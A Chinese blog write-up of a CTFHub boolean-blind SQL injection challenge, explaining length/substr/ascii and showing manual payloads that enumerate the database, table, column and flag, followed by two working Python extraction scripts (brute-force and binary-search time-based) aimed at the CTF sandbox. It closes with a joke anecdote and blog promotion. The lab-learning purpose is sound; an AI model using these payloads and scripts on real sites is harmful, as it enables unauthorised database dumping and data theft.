SQL注入骚操作之布尔盲注
这段时间学习SQL
注入的时候,发现了一个贼有意思的知识点——布尔盲注。该注入方式一般用于页面回显信息只有两种情况的时候,恰好对应布尔值中的ture
和false
。
本文参考自文章SQL注入之布尔盲注
相关函数
布尔盲注主要用三个函数
length(str)
返回字符串str
的长度,以字节为单位。
select length('hello'); # 5
substr(string, start, length)
string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的。
select substr('hello',1,1); # h
ascii(character)
返回字符character
的 ASCII
值,如果传入的是一个字符串,则返回其第一个字符的ASCII
值。
select ascii('a'); # 97
注入实现
题目来源:ctfhub布尔盲注
打开场景后,输入1或者2,页面都显示query_success
,输入3
则显示query_error
,初步判读是可以进行盲注(别判断了,题目就说了是布尔盲注?)。
按照正常流程,我们接下来就是猜数据库名字了,先查一下数据库名字长度:
输入:
1 and length((select database()))=5
发现不行,继续尝试:
1 and length((select database()))=4
果然猜对了,长度是4!?
下一步,就是精确数据库名字了,用substr
函数可以一步一步将数据库名字试探出来,二分法思想先试一下第一个字母的范围:
1 and substr((select database()),1,1) > 'a';
得知,第一个字母比a
大,继续:
1 and substr((select database()),1,1) > 'm';
得知,第一个字母比m
大,继续:
1 and substr((select database()),1,1) > 's';
得知,第一个不大于s
,结合之前的,第一个字母是大于m
,小于等于s
,不断缩小范围,最后猜出第一个字母是s
。
如法炮制,最后,得知数据库名字为sqli
猜表名
在此之前,我们先来认识一下group_concat
函数,该函数可以将结果进行拼接,以逗号间隔。
1 and length(select group_concat(table_name) from information_schema.tables where table_schema=database())=4
经过漫长地测试,我发现……我逐渐失去了耐心却还没有试出长度?,不管了,先测试第一个字符吧,我发现页面回显的SQL
语句中有一个表名是news
,先试一下:
1 and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,4)='news'
竟然不是!会不会是SQL
语句本身就有误?
先看看是不是包含news
:
1 and locate('news',(select group_concat(table_name) from information_schema.tables where table_schema=database())) > 0
发现语句没问题,那就先看看有没有flag
这个表吧:
1 and locate('flag',(select group_concat(table_name) from information_schema.tables where table_schema=database())) > 0
果然有!
猜字段
先猜一下字段总长度:
1 and length((select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema=database()))>5
小于五,最后试出来是4,盲猜flag
?
1 and (select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema=database()) ='flag'
果不其然,只有一个字段,字段名为flag
猜内容
先看一下行数:
1 and (select count(*) from flag) =1
确定只有一行!
如果有多行数据,可以使用limit关键字
看看总长度:
1 and length((select * from flag)) > 10
经过漫长地测试,我终于试出来了总长度是32,丧心病狂!!!!?让我一个一个去测试,那我会崩溃掉的,程序员怎么能做重复无聊的工作呢!
看看前面几个字符是不是ctfhub{
1 and substr((select * from flag),1,7) ='ctfhub{'
好了,下面就是用脚本解决问题了
import requests
if __name__ == '__main__':
url=r"http://challenge-93e4d1abfb79ed96.sandbox.ctfhub.com:10800/"
code = ""
for idx in range(1, 33):
print('start idx = ', idx)
for c in range(0, 129):
Params = {"id":"1 and substr((select * from flag)," + str(idx) + ",1) = '"+ chr(c) +"'"}
response = requests.get(url = url, params = Params)
if 'query_success' in response.text:
code += chr(c)
print(idx, ' ok ')
break
# 由于 mysql 判断的时候不区分大小写,因此code全是大写字母,但是最终答案是小写的
print(code.lower())
6.30更新 换用二分法一次性查询数据库、表名、字段和内容(代码是时间盲注的,但是实际上稍微改一下,本题也适用)
# -*- coding:utf-8 -*-
import requests
import time
def databases(url):
min, max = 1, 50
mid = (min + max) // 2
while min < max:
starttime = time.time()
payload = '1 and if(length((select database()))>{}, sleep(2), -1) and 1'.format(str(mid))
res = requests.get(url + payload)
if time.time() - starttime > 2:
min = mid + 1
else:
max = mid
mid = (min + max)//2
len = mid
print('database name len = {}'.format(str(len)))
content = ""
for i in range(1, len + 1):
# 可视化字符从 32 到 127
min, max = 32, 127
# 二分法加快速度
mid = (min + max) // 2
while min < max:
starttime = time.time()
payload = '1 and if(ascii(substr(database(),{},1))>{},sleep(2),-1) and 1'.format(str(i),str(mid))
res = requests.get(url + payload)
if time.time() - starttime > 2:
min = mid + 1
else:
max = mid
mid = (min + max)//2
content += chr(mid)
print(content)
print('database name = ', content)
return content
def tables(url, database):
min, max = 1, 50
mid = (min + max) // 2
while min < max:
starttime = time.time()
payload = "1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema='{}'))>{}, sleep(2), -1) and 1".format(database, str(mid))
res = requests.get(url + payload)
# print(url + payload)
if time.time() - starttime > 2:
min = mid + 1
else:
max = mid
mid = (min + max)//2
len = mid
print('tables name len = {}'.format(str(len)))
content = ""
for i in range(1, len + 1):
# 可视化字符从 32 到 127
min, max = 32, 127
# 二分法加快速度
mid = (min + max) // 2
while min < max:
starttime = time.time()
payload = "1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{}'),{},1))>{},sleep(2),-1)and 1".format(database, str(i), str(mid))
res = requests.get(url + payload)
if time.time() - starttime > 2:
min = mid + 1
else:
max = mid
mid = (min + max)//2
content += chr(mid)
print(content)
print('tables name = ', content)
return content
def columns(url, table):
min, max = 1, 50
mid = (min + max) // 2
while min < max:
starttime = time.time()
payload = "1 and if(length((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema=database()))>{}, sleep(2), -1) and 1".format(table, str(mid))
res = requests.get(url + payload)
# print(url + payload)
if time.time() - starttime > 2:
min = mid + 1
else:
max = mid
mid = (min + max)//2
len = mid
print('column name len = {}'.format(str(len)))
content = ""
for i in range(1, len + 1):
# 可视化字符从 32 到 127
min, max = 32, 127
# 二分法加快速度
mid = (min + max) // 2
while min < max:
starttime = time.time()
payload = "1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema=database()),{},1))>{},sleep(2),-1)and 1".format(table, str(i), str(mid))
res = requests.get(url + payload)
if time.time() - starttime > 2:
min = mid + 1
else:
max = mid
mid = (min + max)//2
content += chr(mid)
print(content)
print('columns name = ', content)
return content
def contents(url, table, column):
min, max = 1, 50
mid = (min + max) // 2
while min < max:
starttime = time.time()
payload = "1 and if(length((select {} from {} ))>{}, sleep(2), -1) and 1".format(column, table, str(mid))
res = requests.get(url + payload)
# print(url + payload)
if time.time() - starttime > 2:
min = mid + 1
else:
max = mid
mid = (min + max)//2
len = mid
print('content len = {}'.format(str(len)))
content = ""
for i in range(1, len + 1):
# 可视化字符从 32 到 127
min, max = 32, 127
# 二分法加快速度
mid = (min + max) // 2
while min < max:
starttime = time.time()
payload = "1 and if(ascii(substr((select {} from {} ),{},1))>{},sleep(2),-1)and 1".format(column, table, str(i), str(mid))
res = requests.get(url + payload)
if time.time() - starttime > 2:
min = mid + 1
else:
max = mid
mid = (min + max)//2
content += chr(mid)
print(content)
print('content = ', content)
return content
if __name__ == '__main__':
# databases('http://challenge-944c66e37cdc49f7.sandbox.ctfhub.com:10800/?id=')
# tables('http://challenge-944c66e37cdc49f7.sandbox.ctfhub.com:10800/?id=', 'sqli')
# columns('http://challenge-944c66e37cdc49f7.sandbox.ctfhub.com:10800/?id=', 'flag')
contents('http://challenge-944c66e37cdc49f7.sandbox.ctfhub.com:10800/?id=', 'flag', 'flag')
总结
终于把这道题给写出来了,做得有点痛苦,看来以后得多学学sqlmap
这个利器了!
经过这一轮学习,发现网络安全真是防不胜防,方寸之间的漏洞都可能被不发分子利用,也说明了网络安全道路任重道远。
最后,写完这道题我想起了之前遇到的一个电脑高手。
很久以前,那还是我用win98
的时候,有次我系统崩溃了,因为我是电脑白痴,我朋友给我介绍了一个高手来帮我修电脑。他看了一下电脑,问我有没有98的盘,我说没有。他想了一下,叫我把固定电话拿给他,我想修电脑要电话干什么,但人家是高手,我也不好说什么,就把电话拔下来给他了。他把电话线空着的一头接在电脑的一个插孔内,然后进入了dos
,然后就开始在电话上不停的按着键,他按键的速度非常快,但是只按0,1两个键,我搞不懂这有什么用,但也不敢问,看了半个多小时,他还是不停的按这两个键,我渐渐的有些困,我问他这东西要搞多久,他说要几个小时,我给他倒了杯茶,就一个人去隔壁睡觉了。醒来的时候,一看已经过了4个多小时,我起身到隔壁,看见他正在98里面调试,过了一会儿,他说,你试试,我坐上椅子用了一下,真的好了,我当时也不懂电脑,谢过人家就走了。后来我慢慢对电脑有了了解,终于了解,原来当时那位高手是用机器语言编了一个98系统,我后来问我朋友那位高手的下落,我朋友说前几年去了美国IBM之后,杳无音讯……我很想他,如果谁遇到了,请给我发个短信……
黑帽白帽,就在一念之间!
我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=10nbs9vhzhpuf
本文由「黄阿信」创作,创作不易,请多支持。
如果您觉得本文写得不错,那就点一下「赞赏」请我喝杯咖啡~
商业转载请联系作者获得授权,非商业转载请附上原文出处及本链接。
关注公众号,获取最新动态!